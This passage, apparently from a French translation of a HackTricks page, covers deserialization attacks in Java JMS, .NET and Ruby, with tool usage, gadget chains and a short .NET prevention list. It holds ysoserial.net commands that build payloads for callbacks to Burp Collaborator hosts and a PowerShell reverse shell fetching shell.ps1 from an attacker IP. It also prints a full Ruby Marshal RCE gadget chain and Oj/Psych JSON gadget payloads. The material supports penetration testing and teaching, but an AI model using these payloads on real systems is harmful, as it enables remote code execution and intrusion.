- CVEs de désérialisation : https://paper.seebug.org/123/
Injection JNDI & log4Shell
Découvrez ce qu'est l'injection JNDI, comment l'exploiter via RMI, CORBA & LDAP et comment exploiter log4shell (et un exemple de cette vulnérabilité) dans la page suivante :
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Service de messages Java
L'API Java Message Service (JMS) est une API de middleware orientée message Java pour l'envoi de messages entre deux clients ou plus. C'est une implémentation pour gérer le problème producteur-consommateur. JMS fait partie de la plateforme Java, Édition Entreprise (Java EE), et a été définie par une spécification développée chez Sun Microsystems, mais qui a depuis été guidée par le processus communautaire Java. C'est une norme de messagerie qui permet aux composants d'application basés sur Java EE de créer, envoyer, recevoir et lire des messages. Elle permet une communication entre différents composants d'une application distribuée d'être faiblement couplée, fiable et asynchrone. (D'après Wikipedia).
Produits
Il existe plusieurs produits utilisant ce middleware pour envoyer des messages :
Exploitation
Donc, en gros, il y a beaucoup de services utilisant JMS de manière dangereuse. Par conséquent, si vous avez suffisamment de privilèges pour envoyer des messages à ces services (vous aurez généralement besoin de credentials valides), vous pourriez être en mesure d'envoyer des objets malveillants sérialisés qui seront désérialisés par le consommateur/abonné.
Cela signifie que dans cette exploitation, tous les clients qui vont utiliser ce message seront infectés.
Vous devez vous rappeler que même si un service est vulnérable (car il désérialise de manière non sécurisée l'entrée utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité.
L'outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
Références
- Discussion JMET : https://www.youtube.com/watch?v=0h8DWiOWGGA
- Diapositives : https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés en Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet.
Empreinte
WhiteBox
Le code source doit être inspecté pour des occurrences de :
TypeNameHandling
JavaScriptTypeResolver
L'accent doit être mis sur les sérialiseurs qui permettent de déterminer le type par une variable sous le contrôle de l'utilisateur.
BlackBox
La recherche doit cibler la chaîne encodée en Base64 AAEAAAD///// ou tout motif similaire qui pourrait subir une désérialisation côté serveur, accordant le contrôle sur le type à désérialiser. Cela pourrait inclure, mais ne se limite pas à, des structures JSON ou XML contenant TypeObject
ou $type
.
ysoserial.net
Dans ce cas, vous pouvez utiliser l'outil ysoserial.net afin de créer les exploits de désérialisation. Une fois le dépôt git téléchargé, vous devez compiler l'outil en utilisant Visual Studio par exemple.
Si vous souhaitez en savoir plus sur comment ysoserial.net crée son exploit, vous pouvez consulter cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.
Les principales options de ysoserial.net sont : --gadget
, --formatter
, --output
et --plugin
.
--gadget
utilisé pour indiquer le gadget à abuser (indique la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).--formatter
, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque utilise le back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)--output
utilisé pour indiquer si vous souhaitez l'exploit en brut ou encodé en base64. Notez que ysoserial.net va encoder la charge utile en utilisant UTF-16LE (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des problèmes de compatibilité d'encodage qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII, mais cela ne signifie pas que cela fonctionnera toujours).--plugin
ysoserial.net prend en charge les plugins pour créer des exploits pour des frameworks spécifiques comme ViewState
Autres paramètres de ysoserial.net
--minify
fournira une charge utile plus petite (si possible)--raf -f Json.Net -c "anything"
Cela indiquera tous les gadgets qui peuvent être utilisés avec un sérialiseur fourni (Json.Net
dans ce cas)--sf xml
vous pouvez indiquer un gadget (-g
) et ysoserial.net recherchera des sérialiseurs contenant "xml" (insensible à la casse)
Exemples de ysoserial pour créer des exploits :
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net a également un paramètre très intéressant qui aide à mieux comprendre comment chaque exploit fonctionne : --test
Si vous indiquez ce paramètre, ysoserial.net va essayer l'exploit localement, afin que vous puissiez tester si votre payload fonctionnera correctement.
Ce paramètre est utile car si vous examinez le code, vous trouverez des morceaux de code comme le suivant (provenant de ObjectDataProviderGenerator.cs) :
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Cela signifie que pour tester l'exploit, le code appellera serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Dans le code précédent, il est vulnérable à l'exploit créé. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie que probablement cette application est vulnérable aussi.
Par conséquent, le --test
paramètre nous permet de comprendre quels morceaux de code sont vulnérables à l'exploit de désérialisation que ysoserial.net peut créer.
ViewState
Jetez un œil à ce POST sur comment essayer d'exploiter le paramètre __ViewState de .Net pour exécuter du code arbitraire. Si vous connaissez déjà les secrets utilisés par la machine victime, lisez ce post pour savoir comment exécuter du code.
Prevention
Pour atténuer les risques associés à la désérialisation dans .Net :
- Évitez de permettre aux flux de données de définir leurs types d'objet. Utilisez
DataContractSerializer
ouXmlSerializer
lorsque cela est possible. - Pour
JSON.Net
, définissezTypeNameHandling
surNone
: %%%TypeNameHandling = TypeNameHandling.None%%% - Évitez d'utiliser
JavaScriptSerializer
avec unJavaScriptTypeResolver
. - Limitez les types qui peuvent être désérialisés, en comprenant les risques inhérents aux types .Net, tels que
System.IO.FileInfo
, qui peuvent modifier les propriétés des fichiers du serveur, ce qui peut entraîner des attaques par déni de service. - Soyez prudent avec les types ayant des propriétés risquées, comme
System.ComponentModel.DataAnnotations.ValidationException
avec sa propriétéValue
, qui peut être exploitée. - Contrôlez de manière sécurisée l'instanciation des types pour empêcher les attaquants d'influencer le processus de désérialisation, rendant même
DataContractSerializer
ouXmlSerializer
vulnérables. - Mettez en œuvre des contrôles de liste blanche en utilisant un
SerializationBinder
personnalisé pourBinaryFormatter
etJSON.Net
. - Restez informé sur les gadgets de désérialisation non sécurisés connus dans .Net et assurez-vous que les désérialiseurs n'instancient pas de tels types.
- Isolez le code potentiellement risqué du code ayant accès à Internet pour éviter d'exposer des gadgets connus, tels que
System.Windows.Data.ObjectDataProvider
dans les applications WPF, à des sources de données non fiables.
References
- Document sur la désérialisation JSON en Java et .Net : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, conférence : https://www.youtube.com/watch?v=oUAeWhW5b8c et diapositives : https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
En Ruby, la sérialisation est facilitée par deux méthodes dans la bibliothèque marshal. La première méthode, connue sous le nom de dump, est utilisée pour transformer un objet en un flux d'octets. Ce processus est appelé sérialisation. À l'inverse, la deuxième méthode, load, est utilisée pour revenir d'un flux d'octets à un objet, un processus connu sous le nom de désérialisation.
Pour sécuriser les objets sérialisés, Ruby utilise HMAC (Hash-Based Message Authentication Code), garantissant l'intégrité et l'authenticité des données. La clé utilisée à cette fin est stockée dans l'un des plusieurs emplacements possibles :
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Chaîne de gadgets de désérialisation générique Ruby 2.X vers RCE (plus d'infos dans https://www.elttam.com/blog/ruby-deserialization/) :
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Autre chaîne RCE pour exploiter Ruby On Rails : https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Méthode Ruby .send()
Comme expliqué dans ce rapport de vulnérabilité, si une entrée non assainie d'un utilisateur atteint la méthode .send()
d'un objet ruby, cette méthode permet d'invoquer n'importe quelle autre méthode de l'objet avec n'importe quels paramètres.
Par exemple, appeler eval et ensuite du code ruby comme deuxième paramètre permettra d'exécuter du code arbitraire :
{% code overflow="wrap" %}
<Object>.send('eval', '<user input with Ruby code>') == RCE
{% endcode %}
De plus, si un seul paramètre de .send()
est contrôlé par un attaquant, comme mentionné dans l'écrit précédent, il est possible d'appeler n'importe quelle méthode de l'objet qui n'a pas besoin d'arguments ou dont les arguments ont des valeurs par défaut.
Pour cela, il est possible d'énumérer toutes les méthodes de l'objet pour trouver des méthodes intéressantes qui remplissent ces exigences.
{% code overflow="wrap" %}
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
{% endcode %}
Autres bibliothèques
Cette technique a été tirée de cet article de blog.
Il existe d'autres bibliothèques Ruby qui peuvent être utilisées pour sérialiser des objets et qui pourraient donc être abusées pour obtenir un RCE lors d'une désérialisation non sécurisée. Le tableau suivant montre certaines de ces bibliothèques et la méthode qu'elles appellent de la bibliothèque chargée chaque fois qu'elle est désérialisée (fonction à abuser pour obtenir un RCE essentiellement) :
Bibliothèque | Données d'entrée | Méthode de lancement à l'intérieur de la classe |
Marshal (Ruby) | Binaire | _load |
Oj | JSON | hash (la classe doit être mise dans le hash(map) comme clé) |
Ox | XML | hash (la classe doit être mise dans le hash(map) comme clé) |
Psych (Ruby) | YAML | hash (la classe doit être mise dans le hash(map) comme clé)init_with |
JSON (Ruby) | JSON | json_create ([voir les notes concernant json_create à la fin](#table-vulnerable-sinks)) |
Exemple de base :
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Dans le cas d'une tentative d'abus d'Oj, il était possible de trouver une classe gadget qui, à l'intérieur de sa fonction hash
, appellera to_s
, qui appellera spec, qui appellera fetch_path, ce qui a permis de le faire récupérer une URL aléatoire, offrant un excellent détecteur de ce type de vulnérabilités de désérialisation non assainies.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}
De plus, il a été constaté qu'avec la technique précédente, un dossier est également créé dans le système, ce qui est une exigence pour abuser d'un autre gadget afin de transformer cela en un RCE complet avec quelque chose comme :
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Vérifiez plus de détails dans le post original.
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.